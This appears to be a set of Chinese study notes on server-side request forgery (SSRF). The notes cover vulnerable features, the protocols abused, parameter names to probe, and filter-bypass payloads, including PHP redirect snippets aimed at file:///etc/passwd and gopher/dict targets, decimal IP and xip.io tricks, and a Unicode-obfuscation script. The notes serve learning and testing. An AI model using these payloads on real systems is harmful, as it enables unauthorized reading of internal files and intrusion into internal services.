ssrf

漏洞出现点

分享

通过url 地址分享文章,例如如下地址:

http://share.xxx.com/index.?url=http://127.0.0.1

通过ur参数的获取来实现点击链接的时候跳到指定的分享文章。如果在此功能中没有对目标地址的范围做过滤与

限制则就存在着SSRF漏洞。

图片加载与下载

通过URL地址加载或下载图片

http://image.xxx.com/image.php?image=http://127.0.0.1

图片加载存在于很多的编辑器中,编辑器上传图片处,有的是加载远程图片到服务器内。还有一些采用了加载远程图片的形式,本地文章加载了设定好的远程图片服务器上的图片地址,如果没对加载的参数做限制可能造成SSRF

图片、文章收藏功能

http://title.xxx.com/title?title=file://etc/passwd

例如title参数是文章的标题地址,代表了一个文章的地址链接,请求后返回文章是否保存收藏的返回信息。如果保存,收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF.

代理服务,文件包含,多媒体加载,在线编程,站长工具,RSS,xml,

漏洞验证

SSRF漏洞是让服务器发送请求的安全漏洞,所以我们就可以通过抓包分析发送的请求是否是由服务器发送的,从而来判断是否存在SSRF漏洞。,

如果网站访问的百度页面,抓包的内容组并没有请求百度,那就说明请求是由服务器发出的,存在ssrf漏洞

SSRF常用协议
file:///  看文件,端口扫描,命令执行

dict:// 端口扫描,命令执行

sftp:// 传输

ftp://

tftp://

ldap:// 轻量级目录访问

gopher:// 万金油
常见触发参数名
share	wap	url	link	src	source

target u 3g display sourceURI

imageURL domain

绕过

@绕过

http://www.baidu.com@127.0.0.1:8080

ip地址转换成进制绕过

ping 2130706433

img

127.0.0.1先转换成2进制,去掉小数点在转回十进制

302 redirect绕过

当url存在临时(302)永久(301)跳转时,则继续请求跳转后的url,那么我们可以通过http的连接302跳转到gopher协议上

ssrf限制只能用http或者https协议时,可以通过header函数绕过

<?php
header("Location:file:///etc/passwd");
?>
<?php
header("Location:dict://127.0.0.1:6666/info");
?>
<?php
header("Location:gopher://127.0.0.1:6666/info");
?>

xip.io绕过

dns解析这个host时会自动去掉后缀

http://10.0.0.1.xip.io = 10.0.0.1

www.10.0.0.1.xip.io = 10.0.0.1

http://mysite.10.0.0.1.xip.io=10.0.0.1

foo.http://bar.10.0.0.1.xip.io =10.0.0.1

10.0.0.1.xip.name resolves to 10.0.0.1

www.10.0.0.2.xip.name resolves to 10.0.0.2

foo.10.0.0.3.xip.name resolves to 10.0.0.3

bar.baz.10.0.0.4.xip.name resolves to 10.0.0.4

封闭式字母数字绕过

ⓗ ⓣ ⓣ Ⓟ Ⓔ = http://example.com

封闭式字母数字网址 https://haomeili.net/ZhiShi/34

diverse = '''①②③④⑤⑥⑦⑧⑨⑴⑵⑶⑷⑸⑹⑺⑻⑼⒈⒉⒊⒋⒌⒍⒎⒏⒐⒜⒝⒞⒟⒠⒡⒢⒣⒤⒥⒦⒧⒨⒩⒪⒫⒬⒭⒮⒯⒰⒱⒲⒳⒴⒵ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ⓪⓵⓶⓷⓸⓹⓺⓻⓼⓽'''

general = '''123456789123456789123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789'''
# 创建转换表
decode = str.maketrans(diverse, general)
encode = str.maketrans(general, diverse)
# 定义一个字符串
text = "www.baidu.com"
# 使用转换表进行加密
new_text = text.translate(encode)
# 输出结果
print(new_text)

DNS rebinding